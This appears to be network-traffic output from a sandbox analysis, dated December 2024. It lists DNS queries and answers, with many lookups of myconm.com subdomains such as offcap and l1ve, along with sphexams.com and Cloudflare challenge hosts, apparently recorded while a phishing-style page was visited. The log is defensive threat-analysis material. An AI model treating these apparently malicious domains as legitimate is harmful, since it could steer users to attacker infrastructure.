Dec 9, 2024 18:42:22.060832024 CET	55920	53	192.168.2.17	1.1.1.1
Dec 9, 2024 18:42:22.197639942 CET	53	55920	1.1.1.1	192.168.2.17
Dec 9, 2024 18:42:22.198249102 CET	53	54499	1.1.1.1	192.168.2.17
Dec 9, 2024 18:42:28.682091951 CET	138	138	192.168.2.17	192.168.2.255
Dec 9, 2024 18:42:33.017342091 CET	60291	53	192.168.2.17	1.1.1.1
Dec 9, 2024 18:42:33.017512083 CET	55659	53	192.168.2.17	1.1.1.1
Dec 9, 2024 18:42:33.155035973 CET	53	60291	1.1.1.1	192.168.2.17
Dec 9, 2024 18:42:33.155065060 CET	53	55659	1.1.1.1	192.168.2.17
Dec 9, 2024 18:42:40.566953897 CET	59775	53	192.168.2.17	1.1.1.1
Dec 9, 2024 18:42:40.567065001 CET	54336	53	192.168.2.17	1.1.1.1
Dec 9, 2024 18:42:40.708769083 CET	53	59775	1.1.1.1	192.168.2.17
Dec 9, 2024 18:42:40.708924055 CET	53	54336	1.1.1.1	192.168.2.17
Dec 9, 2024 18:42:44.116144896 CET	49228	53	192.168.2.17	1.1.1.1
Dec 9, 2024 18:42:44.116297960 CET	60691	53	192.168.2.17	1.1.1.1
Dec 9, 2024 18:42:44.254776955 CET	53	60691	1.1.1.1	192.168.2.17
Dec 9, 2024 18:42:44.255981922 CET	53	49228	1.1.1.1	192.168.2.17
Dec 9, 2024 18:42:46.121963024 CET	53	53198	1.1.1.1	192.168.2.17
Dec 9, 2024 18:42:47.301714897 CET	54263	53	192.168.2.17	1.1.1.1
Dec 9, 2024 18:42:47.302056074 CET	61909	53	192.168.2.17	1.1.1.1
Dec 9, 2024 18:42:47.444365025 CET	53	61909	1.1.1.1	192.168.2.17
Dec 9, 2024 18:42:47.447498083 CET	53	54263	1.1.1.1	192.168.2.17
Dec 9, 2024 18:42:50.250931025 CET	55824	53	192.168.2.17	1.1.1.1
Dec 9, 2024 18:42:50.251075983 CET	61416	53	192.168.2.17	1.1.1.1
Dec 9, 2024 18:42:50.330573082 CET	60117	53	192.168.2.17	1.1.1.1
Dec 9, 2024 18:42:50.330717087 CET	53921	53	192.168.2.17	1.1.1.1
Dec 9, 2024 18:42:50.389214993 CET	53	55824	1.1.1.1	192.168.2.17
Dec 9, 2024 18:42:50.389344931 CET	53	61416	1.1.1.1	192.168.2.17
Dec 9, 2024 18:42:50.478319883 CET	53	53921	1.1.1.1	192.168.2.17
Dec 9, 2024 18:42:50.478420019 CET	53	60117	1.1.1.1	192.168.2.17
Dec 9, 2024 18:42:54.363923073 CET	54508	53	192.168.2.17	1.1.1.1
Dec 9, 2024 18:42:54.364149094 CET	58944	53	192.168.2.17	1.1.1.1
Dec 9, 2024 18:42:54.507726908 CET	53	54508	1.1.1.1	192.168.2.17
Dec 9, 2024 18:42:54.508240938 CET	53	58944	1.1.1.1	192.168.2.17
Dec 9, 2024 18:42:58.462421894 CET	53	51510	1.1.1.1	192.168.2.17
Dec 9, 2024 18:43:09.053565025 CET	52221	53	192.168.2.17	1.1.1.1
Dec 9, 2024 18:43:09.053801060 CET	56679	53	192.168.2.17	1.1.1.1
Dec 9, 2024 18:43:09.194483995 CET	53	56679	1.1.1.1	192.168.2.17
Dec 9, 2024 18:43:09.194713116 CET	53	52221	1.1.1.1	192.168.2.17
Dec 9, 2024 18:43:11.955740929 CET	57968	53	192.168.2.17	1.1.1.1
Dec 9, 2024 18:43:11.955920935 CET	55257	53	192.168.2.17	1.1.1.1
Dec 9, 2024 18:43:11.974814892 CET	53147	53	192.168.2.17	1.1.1.1
Dec 9, 2024 18:43:11.975059032 CET	62806	53	192.168.2.17	1.1.1.1
Dec 9, 2024 18:43:11.975364923 CET	59616	53	192.168.2.17	1.1.1.1
Dec 9, 2024 18:43:11.975483894 CET	62121	53	192.168.2.17	1.1.1.1
Dec 9, 2024 18:43:11.975919962 CET	62577	53	192.168.2.17	1.1.1.1
Dec 9, 2024 18:43:11.976170063 CET	55090	53	192.168.2.17	1.1.1.1
Dec 9, 2024 18:43:12.301963091 CET	53	57968	1.1.1.1	192.168.2.17
Dec 9, 2024 18:43:12.301976919 CET	53	55257	1.1.1.1	192.168.2.17
Dec 9, 2024 18:43:12.301985025 CET	53	62577	1.1.1.1	192.168.2.17
Dec 9, 2024 18:43:12.301999092 CET	53	62121	1.1.1.1	192.168.2.17
Dec 9, 2024 18:43:12.302004099 CET	53	55090	1.1.1.1	192.168.2.17
Dec 9, 2024 18:43:12.302016020 CET	53	53147	1.1.1.1	192.168.2.17
Dec 9, 2024 18:43:12.302025080 CET	53	59616	1.1.1.1	192.168.2.17
Dec 9, 2024 18:43:12.302036047 CET	53	62806	1.1.1.1	192.168.2.17
Dec 9, 2024 18:43:12.305553913 CET	60237	53	192.168.2.17	1.1.1.1
Dec 9, 2024 18:43:12.305679083 CET	64009	53	192.168.2.17	1.1.1.1
Dec 9, 2024 18:43:12.306052923 CET	59421	53	192.168.2.17	1.1.1.1
Dec 9, 2024 18:43:12.306163073 CET	63338	53	192.168.2.17	1.1.1.1
Dec 9, 2024 18:43:12.307069063 CET	58388	53	192.168.2.17	1.1.1.1
Dec 9, 2024 18:43:12.307286024 CET	55955	53	192.168.2.17	1.1.1.1
Dec 9, 2024 18:43:12.451853037 CET	53	60237	1.1.1.1	192.168.2.17
Dec 9, 2024 18:43:12.453995943 CET	53	59421	1.1.1.1	192.168.2.17
Dec 9, 2024 18:43:12.456161022 CET	53	55955	1.1.1.1	192.168.2.17
Dec 9, 2024 18:43:12.458058119 CET	53	64009	1.1.1.1	192.168.2.17
Dec 9, 2024 18:43:12.458149910 CET	53	63338	1.1.1.1	192.168.2.17
Dec 9, 2024 18:43:12.459059954 CET	49802	53	192.168.2.17	1.1.1.1
Dec 9, 2024 18:43:12.459191084 CET	55369	53	192.168.2.17	1.1.1.1
Dec 9, 2024 18:43:12.459697962 CET	65173	53	192.168.2.17	1.1.1.1
Dec 9, 2024 18:43:12.459817886 CET	62047	53	192.168.2.17	1.1.1.1
Dec 9, 2024 18:43:12.463603020 CET	53	58388	1.1.1.1	192.168.2.17
Dec 9, 2024 18:43:12.609535933 CET	53	49802	1.1.1.1	192.168.2.17
Dec 9, 2024 18:43:12.611639023 CET	53	55369	1.1.1.1	192.168.2.17
Dec 9, 2024 18:43:12.616709948 CET	53	65173	1.1.1.1	192.168.2.17
Dec 9, 2024 18:43:12.618813992 CET	53	62047	1.1.1.1	192.168.2.17
Dec 9, 2024 18:43:17.241117954 CET	62947	53	192.168.2.17	1.1.1.1
Dec 9, 2024 18:43:17.241271019 CET	51473	53	192.168.2.17	1.1.1.1
Dec 9, 2024 18:43:17.385162115 CET	53	51473	1.1.1.1	192.168.2.17
Dec 9, 2024 18:43:17.385651112 CET	53	62947	1.1.1.1	192.168.2.17
Dec 9, 2024 18:43:17.637381077 CET	53342	53	192.168.2.17	1.1.1.1
Dec 9, 2024 18:43:17.637656927 CET	54819	53	192.168.2.17	1.1.1.1
Dec 9, 2024 18:43:17.781124115 CET	53	53342	1.1.1.1	192.168.2.17
Dec 9, 2024 18:43:17.784353971 CET	53	54819	1.1.1.1	192.168.2.17
Dec 9, 2024 18:43:18.426501036 CET	55333	53	192.168.2.17	1.1.1.1
Dec 9, 2024 18:43:18.426655054 CET	60122	53	192.168.2.17	1.1.1.1
Dec 9, 2024 18:43:18.565004110 CET	53	60122	1.1.1.1	192.168.2.17
Dec 9, 2024 18:43:18.565973043 CET	53	55333	1.1.1.1	192.168.2.17

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 9, 2024 18:41:14.777328014 CET	192.168.2.17	1.1.1.1	0xfc95	Standard query (0)	webservice.ucampaign.unear.net	A (IP address)	IN (0x0001)	false
Dec 9, 2024 18:41:14.777600050 CET	192.168.2.17	1.1.1.1	0x2dd	Standard query (0)	webservice.ucampaign.unear.net	65	IN (0x0001)	false
Dec 9, 2024 18:41:15.799766064 CET	192.168.2.17	1.1.1.1	0x351b	Standard query (0)	webservice.ucampaign.unear.net	A (IP address)	IN (0x0001)	false
Dec 9, 2024 18:41:15.799885988 CET	192.168.2.17	1.1.1.1	0x4043	Standard query (0)	webservice.ucampaign.unear.net	65	IN (0x0001)	false
Dec 9, 2024 18:41:18.040075064 CET	192.168.2.17	1.1.1.1	0xf7bb	Standard query (0)	sphexams.com	A (IP address)	IN (0x0001)	false
Dec 9, 2024 18:41:18.040205956 CET	192.168.2.17	1.1.1.1	0x4fd3	Standard query (0)	sphexams.com	65	IN (0x0001)	false
Dec 9, 2024 18:41:18.654259920 CET	192.168.2.17	1.1.1.1	0x9ceb	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 9, 2024 18:41:18.654437065 CET	192.168.2.17	1.1.1.1	0x15ea	Standard query (0)	www.google.com	65	IN (0x0001)	false
Dec 9, 2024 18:41:24.047590971 CET	192.168.2.17	1.1.1.1	0x3e2e	Standard query (0)	ameninternazionale.org	A (IP address)	IN (0x0001)	false
Dec 9, 2024 18:41:24.047959089 CET	192.168.2.17	1.1.1.1	0xc815	Standard query (0)	ameninternazionale.org	65	IN (0x0001)	false
Dec 9, 2024 18:41:24.919348955 CET	192.168.2.17	1.1.1.1	0x7347	Standard query (0)	sphexams.com	A (IP address)	IN (0x0001)	false
Dec 9, 2024 18:41:24.919564009 CET	192.168.2.17	1.1.1.1	0x49e4	Standard query (0)	sphexams.com	65	IN (0x0001)	false
Dec 9, 2024 18:41:27.521190882 CET	192.168.2.17	1.1.1.1	0x5ec6	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Dec 9, 2024 18:41:27.521308899 CET	192.168.2.17	1.1.1.1	0x4bbe	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Dec 9, 2024 18:41:27.521576881 CET	192.168.2.17	1.1.1.1	0x5a93	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Dec 9, 2024 18:41:27.521722078 CET	192.168.2.17	1.1.1.1	0x79cd	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Dec 9, 2024 18:41:29.781857967 CET	192.168.2.17	1.1.1.1	0xe2eb	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Dec 9, 2024 18:41:29.781996012 CET	192.168.2.17	1.1.1.1	0xe075	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Dec 9, 2024 18:41:31.313635111 CET	192.168.2.17	1.1.1.1	0xda04	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Dec 9, 2024 18:41:31.313780069 CET	192.168.2.17	1.1.1.1	0x92e1	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Dec 9, 2024 18:41:31.323328972 CET	192.168.2.17	1.1.1.1	0xf0e5	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Dec 9, 2024 18:41:31.323652029 CET	192.168.2.17	1.1.1.1	0x1614	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Dec 9, 2024 18:42:11.055210114 CET	192.168.2.17	1.1.1.1	0x2d0a	Standard query (0)	ameninternazionale.org	A (IP address)	IN (0x0001)	false
Dec 9, 2024 18:42:11.055357933 CET	192.168.2.17	1.1.1.1	0x907c	Standard query (0)	ameninternazionale.org	65	IN (0x0001)	false
Dec 9, 2024 18:42:12.775445938 CET	192.168.2.17	1.1.1.1	0x24cf	Standard query (0)	offcap.myconm.com	A (IP address)	IN (0x0001)	false
Dec 9, 2024 18:42:12.775583029 CET	192.168.2.17	1.1.1.1	0x7143	Standard query (0)	offcap.myconm.com	65	IN (0x0001)	false
Dec 9, 2024 18:42:15.961026907 CET	192.168.2.17	1.1.1.1	0xe944	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Dec 9, 2024 18:42:15.962306023 CET	192.168.2.17	1.1.1.1	0xa2b3	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Dec 9, 2024 18:42:15.967190027 CET	192.168.2.17	1.1.1.1	0x64b7	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Dec 9, 2024 18:42:15.967333078 CET	192.168.2.17	1.1.1.1	0x3481	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Dec 9, 2024 18:42:15.968554020 CET	192.168.2.17	1.1.1.1	0x8342	Standard query (0)	findicons.com	A (IP address)	IN (0x0001)	false
Dec 9, 2024 18:42:15.968696117 CET	192.168.2.17	1.1.1.1	0x56ea	Standard query (0)	findicons.com	65	IN (0x0001)	false
Dec 9, 2024 18:42:19.308404922 CET	192.168.2.17	1.1.1.1	0xac4d	Standard query (0)	images.freeimages.com	A (IP address)	IN (0x0001)	false
Dec 9, 2024 18:42:19.308522940 CET	192.168.2.17	1.1.1.1	0xb170	Standard query (0)	images.freeimages.com	65	IN (0x0001)	false
Dec 9, 2024 18:42:19.724670887 CET	192.168.2.17	1.1.1.1	0x28f6	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Dec 9, 2024 18:42:19.724831104 CET	192.168.2.17	1.1.1.1	0xacef	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Dec 9, 2024 18:42:22.060597897 CET	192.168.2.17	1.1.1.1	0xb35d	Standard query (0)	images.freeimages.com	A (IP address)	IN (0x0001)	false
Dec 9, 2024 18:42:22.060832024 CET	192.168.2.17	1.1.1.1	0x4d4f	Standard query (0)	images.freeimages.com	65	IN (0x0001)	false
Dec 9, 2024 18:42:33.017342091 CET	192.168.2.17	1.1.1.1	0x20ce	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Dec 9, 2024 18:42:33.017512083 CET	192.168.2.17	1.1.1.1	0x68ea	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Dec 9, 2024 18:42:40.566953897 CET	192.168.2.17	1.1.1.1	0x9c37	Standard query (0)	6d700e25-0e591a27.myconm.com	A (IP address)	IN (0x0001)	false
Dec 9, 2024 18:42:40.567065001 CET	192.168.2.17	1.1.1.1	0xe58a	Standard query (0)	6d700e25-0e591a27.myconm.com	65	IN (0x0001)	false
Dec 9, 2024 18:42:44.116144896 CET	192.168.2.17	1.1.1.1	0x91a5	Standard query (0)	6d700e25-0e591a27.myconm.com	A (IP address)	IN (0x0001)	false
Dec 9, 2024 18:42:44.116297960 CET	192.168.2.17	1.1.1.1	0xee5e	Standard query (0)	6d700e25-0e591a27.myconm.com	65	IN (0x0001)	false
Dec 9, 2024 18:42:47.301714897 CET	192.168.2.17	1.1.1.1	0x884e	Standard query (0)	cd092d4c-0e591a27.myconm.com	A (IP address)	IN (0x0001)	false
Dec 9, 2024 18:42:47.302056074 CET	192.168.2.17	1.1.1.1	0xecd3	Standard query (0)	cd092d4c-0e591a27.myconm.com	65	IN (0x0001)	false
Dec 9, 2024 18:42:50.250931025 CET	192.168.2.17	1.1.1.1	0x40a4	Standard query (0)	cd092d4c-0e591a27.myconm.com	A (IP address)	IN (0x0001)	false
Dec 9, 2024 18:42:50.251075983 CET	192.168.2.17	1.1.1.1	0xa74e	Standard query (0)	cd092d4c-0e591a27.myconm.com	65	IN (0x0001)	false
Dec 9, 2024 18:42:50.330573082 CET	192.168.2.17	1.1.1.1	0xec12	Standard query (0)	l1ve.myconm.com	A (IP address)	IN (0x0001)	false
Dec 9, 2024 18:42:50.330717087 CET	192.168.2.17	1.1.1.1	0x7e87	Standard query (0)	l1ve.myconm.com	65	IN (0x0001)	false
Dec 9, 2024 18:42:54.363923073 CET	192.168.2.17	1.1.1.1	0xfc24	Standard query (0)	aa45faf7-0e591a27.myconm.com	A (IP address)	IN (0x0001)	false
Dec 9, 2024 18:42:54.364149094 CET	192.168.2.17	1.1.1.1	0xe773	Standard query (0)	aa45faf7-0e591a27.myconm.com	65	IN (0x0001)	false
Dec 9, 2024 18:43:09.053565025 CET	192.168.2.17	1.1.1.1	0x54a2	Standard query (0)	offcap.myconm.com	A (IP address)	IN (0x0001)	false
Dec 9, 2024 18:43:09.053801060 CET	192.168.2.17	1.1.1.1	0x8c7c	Standard query (0)	offcap.myconm.com	65	IN (0x0001)	false
Dec 9, 2024 18:43:11.955740929 CET	192.168.2.17	1.1.1.1	0x96c1	Standard query (0)	f3b9289a-0e591a27.myconm.com	A (IP address)	IN (0x0001)	false
Dec 9, 2024 18:43:11.955920935 CET	192.168.2.17	1.1.1.1	0xc74b	Standard query (0)	f3b9289a-0e591a27.myconm.com	65	IN (0x0001)	false
Dec 9, 2024 18:43:11.974814892 CET	192.168.2.17	1.1.1.1	0x6260	Standard query (0)	af608318-0e591a27.myconm.com	A (IP address)	IN (0x0001)	false
Dec 9, 2024 18:43:11.975059032 CET	192.168.2.17	1.1.1.1	0x4213	Standard query (0)	af608318-0e591a27.myconm.com	65	IN (0x0001)	false
Dec 9, 2024 18:43:11.975364923 CET	192.168.2.17	1.1.1.1	0x43ee	Standard query (0)	c6b0c7df-0e591a27.myconm.com	A (IP address)	IN (0x0001)	false
Dec 9, 2024 18:43:11.975483894 CET	192.168.2.17	1.1.1.1	0x28fd	Standard query (0)	c6b0c7df-0e591a27.myconm.com	65	IN (0x0001)	false
Dec 9, 2024 18:43:11.975919962 CET	192.168.2.17	1.1.1.1	0x3a92	Standard query (0)	32eb4ebc-0e591a27.myconm.com	A (IP address)	IN (0x0001)	false
Dec 9, 2024 18:43:11.976170063 CET	192.168.2.17	1.1.1.1	0xa12d	Standard query (0)	32eb4ebc-0e591a27.myconm.com	65	IN (0x0001)	false
Dec 9, 2024 18:43:12.305553913 CET	192.168.2.17	1.1.1.1	0xb2c5	Standard query (0)	6ef77b17-0e591a27.myconm.com	A (IP address)	IN (0x0001)	false
Dec 9, 2024 18:43:12.305679083 CET	192.168.2.17	1.1.1.1	0xeb1e	Standard query (0)	6ef77b17-0e591a27.myconm.com	65	IN (0x0001)	false
Dec 9, 2024 18:43:12.306052923 CET	192.168.2.17	1.1.1.1	0x6bff	Standard query (0)	0fa96f3e-0e591a27.myconm.com	A (IP address)	IN (0x0001)	false
Dec 9, 2024 18:43:12.306163073 CET	192.168.2.17	1.1.1.1	0xa97d	Standard query (0)	0fa96f3e-0e591a27.myconm.com	65	IN (0x0001)	false
Dec 9, 2024 18:43:12.307069063 CET	192.168.2.17	1.1.1.1	0x95b3	Standard query (0)	26e0e80c-0e591a27.myconm.com	A (IP address)	IN (0x0001)	false
Dec 9, 2024 18:43:12.307286024 CET	192.168.2.17	1.1.1.1	0x5804	Standard query (0)	26e0e80c-0e591a27.myconm.com	65	IN (0x0001)	false
Dec 9, 2024 18:43:12.459059954 CET	192.168.2.17	1.1.1.1	0x8a0b	Standard query (0)	4e1fa428-0e591a27.myconm.com	A (IP address)	IN (0x0001)	false
Dec 9, 2024 18:43:12.459191084 CET	192.168.2.17	1.1.1.1	0x7e5d	Standard query (0)	4e1fa428-0e591a27.myconm.com	65	IN (0x0001)	false
Dec 9, 2024 18:43:12.459697962 CET	192.168.2.17	1.1.1.1	0x561b	Standard query (0)	3c5f129b-0e591a27.myconm.com	A (IP address)	IN (0x0001)	false
Dec 9, 2024 18:43:12.459817886 CET	192.168.2.17	1.1.1.1	0xf49a	Standard query (0)	3c5f129b-0e591a27.myconm.com	65	IN (0x0001)	false
Dec 9, 2024 18:43:17.241117954 CET	192.168.2.17	1.1.1.1	0xea42	Standard query (0)	32eb4ebc-0e591a27.myconm.com	A (IP address)	IN (0x0001)	false
Dec 9, 2024 18:43:17.241271019 CET	192.168.2.17	1.1.1.1	0xa8ad	Standard query (0)	32eb4ebc-0e591a27.myconm.com	65	IN (0x0001)	false
Dec 9, 2024 18:43:17.637381077 CET	192.168.2.17	1.1.1.1	0x292a	Standard query (0)	b4cef784-0e591a27.myconm.com	A (IP address)	IN (0x0001)	false
Dec 9, 2024 18:43:17.637656927 CET	192.168.2.17	1.1.1.1	0xf3d7	Standard query (0)	b4cef784-0e591a27.myconm.com	65	IN (0x0001)	false
Dec 9, 2024 18:43:18.426501036 CET	192.168.2.17	1.1.1.1	0x2a26	Standard query (0)	l1ve.myconm.com	A (IP address)	IN (0x0001)	false
Dec 9, 2024 18:43:18.426655054 CET	192.168.2.17	1.1.1.1	0x2fa9	Standard query (0)	l1ve.myconm.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Dec 9, 2024 18:41:16.005636930 CET	1.1.1.1	192.168.2.17	0x351b	No error (0)	webservice.ucampaign.unear.net	52.200.208.143	A (IP address)	IN (0x0001)	false
Dec 9, 2024 18:41:16.005636930 CET	1.1.1.1	192.168.2.17	0x351b	No error (0)	webservice.ucampaign.unear.net	54.161.221.239	A (IP address)	IN (0x0001)	false
Dec 9, 2024 18:41:16.005954981 CET	1.1.1.1	192.168.2.17	0xfc95	No error (0)	webservice.ucampaign.unear.net	52.200.208.143	A (IP address)	IN (0x0001)	false
Dec 9, 2024 18:41:16.005954981 CET	1.1.1.1	192.168.2.17	0xfc95	No error (0)	webservice.ucampaign.unear.net	54.161.221.239	A (IP address)	IN (0x0001)	false
Dec 9, 2024 18:41:18.315675974 CET	1.1.1.1	192.168.2.17	0x4fd3	No error (0)	sphexams.com		65	IN (0x0001)	false
Dec 9, 2024 18:41:18.315701008 CET	1.1.1.1	192.168.2.17	0xf7bb	No error (0)	sphexams.com	104.21.34.58	A (IP address)	IN (0x0001)	false
Dec 9, 2024 18:41:18.315701008 CET	1.1.1.1	192.168.2.17	0xf7bb	No error (0)	sphexams.com	172.67.155.32	A (IP address)	IN (0x0001)	false
Dec 9, 2024 18:41:18.793411970 CET	1.1.1.1	192.168.2.17	0x9ceb	No error (0)	www.google.com	172.217.21.36	A (IP address)	IN (0x0001)	false
Dec 9, 2024 18:41:18.793427944 CET	1.1.1.1	192.168.2.17	0x15ea	No error (0)	www.google.com		65	IN (0x0001)	false
Dec 9, 2024 18:41:25.039892912 CET	1.1.1.1	192.168.2.17	0x3e2e	No error (0)	ameninternazionale.org	192.185.25.241	A (IP address)	IN (0x0001)	false
Dec 9, 2024 18:41:25.057727098 CET	1.1.1.1	192.168.2.17	0x49e4	No error (0)	sphexams.com		65	IN (0x0001)	false
Dec 9, 2024 18:41:25.057977915 CET	1.1.1.1	192.168.2.17	0x7347	No error (0)	sphexams.com	172.67.155.32	A (IP address)	IN (0x0001)	false
Dec 9, 2024 18:41:25.057977915 CET	1.1.1.1	192.168.2.17	0x7347	No error (0)	sphexams.com	104.21.34.58	A (IP address)	IN (0x0001)	false
Dec 9, 2024 18:41:27.661436081 CET	1.1.1.1	192.168.2.17	0x5ec6	No error (0)	cdnjs.cloudflare.com	104.17.25.14	A (IP address)	IN (0x0001)	false
Dec 9, 2024 18:41:27.661436081 CET	1.1.1.1	192.168.2.17	0x5ec6	No error (0)	cdnjs.cloudflare.com	104.17.24.14	A (IP address)	IN (0x0001)	false
Dec 9, 2024 18:41:27.661453009 CET	1.1.1.1	192.168.2.17	0x4bbe	No error (0)	cdnjs.cloudflare.com		65	IN (0x0001)	false
Dec 9, 2024 18:41:27.661587954 CET	1.1.1.1	192.168.2.17	0x5a93	No error (0)	challenges.cloudflare.com	104.18.94.41	A (IP address)	IN (0x0001)	false
Dec 9, 2024 18:41:27.661587954 CET	1.1.1.1	192.168.2.17	0x5a93	No error (0)	challenges.cloudflare.com	104.18.95.41	A (IP address)	IN (0x0001)	false
Dec 9, 2024 18:41:27.666939974 CET	1.1.1.1	192.168.2.17	0x79cd	No error (0)	challenges.cloudflare.com		65	IN (0x0001)	false
Dec 9, 2024 18:41:29.918772936 CET	1.1.1.1	192.168.2.17	0xe075	No error (0)	cdnjs.cloudflare.com		65	IN (0x0001)	false
Dec 9, 2024 18:41:29.919601917 CET	1.1.1.1	192.168.2.17	0xe2eb	No error (0)	cdnjs.cloudflare.com	104.17.24.14	A (IP address)	IN (0x0001)	false
Dec 9, 2024 18:41:29.919601917 CET	1.1.1.1	192.168.2.17	0xe2eb	No error (0)	cdnjs.cloudflare.com	104.17.25.14	A (IP address)	IN (0x0001)	false
Dec 9, 2024 18:41:31.526314974 CET	1.1.1.1	192.168.2.17	0xda04	No error (0)	challenges.cloudflare.com	104.18.95.41	A (IP address)	IN (0x0001)	false
Dec 9, 2024 18:41:31.526314974 CET	1.1.1.1	192.168.2.17	0xda04	No error (0)	challenges.cloudflare.com	104.18.94.41	A (IP address)	IN (0x0001)	false
Dec 9, 2024 18:41:31.526331902 CET	1.1.1.1	192.168.2.17	0xf0e5	No error (0)	challenges.cloudflare.com	104.18.94.41	A (IP address)	IN (0x0001)	false
Dec 9, 2024 18:41:31.526331902 CET	1.1.1.1	192.168.2.17	0xf0e5	No error (0)	challenges.cloudflare.com	104.18.95.41	A (IP address)	IN (0x0001)	false
Dec 9, 2024 18:41:31.527198076 CET	1.1.1.1	192.168.2.17	0x92e1	No error (0)	challenges.cloudflare.com		65	IN (0x0001)	false
Dec 9, 2024 18:41:31.528831959 CET	1.1.1.1	192.168.2.17	0x1614	No error (0)	challenges.cloudflare.com		65	IN (0x0001)	false
Dec 9, 2024 18:42:11.376416922 CET	1.1.1.1	192.168.2.17	0x2d0a	No error (0)	ameninternazionale.org	192.185.25.241	A (IP address)	IN (0x0001)	false
Dec 9, 2024 18:42:13.108676910 CET	1.1.1.1	192.168.2.17	0x24cf	No error (0)	offcap.myconm.com	164.92.188.247	A (IP address)	IN (0x0001)	false
Dec 9, 2024 18:42:16.100933075 CET	1.1.1.1	192.168.2.17	0xe944	No error (0)	cdnjs.cloudflare.com	104.17.25.14	A (IP address)	IN (0x0001)	false
Dec 9, 2024 18:42:16.100933075 CET	1.1.1.1	192.168.2.17	0xe944	No error (0)	cdnjs.cloudflare.com	104.17.24.14	A (IP address)	IN (0x0001)	false
Dec 9, 2024 18:42:16.101452112 CET	1.1.1.1	192.168.2.17	0xa2b3	No error (0)	cdnjs.cloudflare.com		65	IN (0x0001)	false
Dec 9, 2024 18:42:16.105818033 CET	1.1.1.1	192.168.2.17	0x3481	No error (0)	challenges.cloudflare.com		65	IN (0x0001)	false
Dec 9, 2024 18:42:16.107666969 CET	1.1.1.1	192.168.2.17	0x64b7	No error (0)	challenges.cloudflare.com	104.18.94.41	A (IP address)	IN (0x0001)	false
Dec 9, 2024 18:42:16.107666969 CET	1.1.1.1	192.168.2.17	0x64b7	No error (0)	challenges.cloudflare.com	104.18.95.41	A (IP address)	IN (0x0001)	false
Dec 9, 2024 18:42:16.510302067 CET	1.1.1.1	192.168.2.17	0x8342	No error (0)	findicons.com	18.66.161.55	A (IP address)	IN (0x0001)	false
Dec 9, 2024 18:42:16.510302067 CET	1.1.1.1	192.168.2.17	0x8342	No error (0)	findicons.com	18.66.161.30	A (IP address)	IN (0x0001)	false
Dec 9, 2024 18:42:16.510302067 CET	1.1.1.1	192.168.2.17	0x8342	No error (0)	findicons.com	18.66.161.7	A (IP address)	IN (0x0001)	false
Dec 9, 2024 18:42:16.510302067 CET	1.1.1.1	192.168.2.17	0x8342	No error (0)	findicons.com	18.66.161.61	A (IP address)	IN (0x0001)	false
Dec 9, 2024 18:42:19.734093904 CET	1.1.1.1	192.168.2.17	0xac4d	No error (0)	images.freeimages.com	18.165.220.47	A (IP address)	IN (0x0001)	false
Dec 9, 2024 18:42:19.734093904 CET	1.1.1.1	192.168.2.17	0xac4d	No error (0)	images.freeimages.com	18.165.220.49	A (IP address)	IN (0x0001)	false
Dec 9, 2024 18:42:19.734093904 CET	1.1.1.1	192.168.2.17	0xac4d	No error (0)	images.freeimages.com	18.165.220.127	A (IP address)	IN (0x0001)	false
Dec 9, 2024 18:42:19.734093904 CET	1.1.1.1	192.168.2.17	0xac4d	No error (0)	images.freeimages.com	18.165.220.75	A (IP address)	IN (0x0001)	false
Dec 9, 2024 18:42:19.862865925 CET	1.1.1.1	192.168.2.17	0xacef	No error (0)	challenges.cloudflare.com		65	IN (0x0001)	false
Dec 9, 2024 18:42:19.866333008 CET	1.1.1.1	192.168.2.17	0x28f6	No error (0)	challenges.cloudflare.com	104.18.94.41	A (IP address)	IN (0x0001)	false
Dec 9, 2024 18:42:19.866333008 CET	1.1.1.1	192.168.2.17	0x28f6	No error (0)	challenges.cloudflare.com	104.18.95.41	A (IP address)	IN (0x0001)	false
Dec 9, 2024 18:42:22.198249102 CET	1.1.1.1	192.168.2.17	0xb35d	No error (0)	images.freeimages.com	18.165.220.75	A (IP address)	IN (0x0001)	false
Dec 9, 2024 18:42:22.198249102 CET	1.1.1.1	192.168.2.17	0xb35d	No error (0)	images.freeimages.com	18.165.220.127	A (IP address)	IN (0x0001)	false
Dec 9, 2024 18:42:22.198249102 CET	1.1.1.1	192.168.2.17	0xb35d	No error (0)	images.freeimages.com	18.165.220.49	A (IP address)	IN (0x0001)	false
Dec 9, 2024 18:42:22.198249102 CET	1.1.1.1	192.168.2.17	0xb35d	No error (0)	images.freeimages.com	18.165.220.47	A (IP address)	IN (0x0001)	false
Dec 9, 2024 18:42:33.155035973 CET	1.1.1.1	192.168.2.17	0x20ce	No error (0)	challenges.cloudflare.com	104.18.95.41	A (IP address)	IN (0x0001)	false
Dec 9, 2024 18:42:33.155035973 CET	1.1.1.1	192.168.2.17	0x20ce	No error (0)	challenges.cloudflare.com	104.18.94.41	A (IP address)	IN (0x0001)	false
Dec 9, 2024 18:42:33.155065060 CET	1.1.1.1	192.168.2.17	0x68ea	No error (0)	challenges.cloudflare.com		65	IN (0x0001)	false
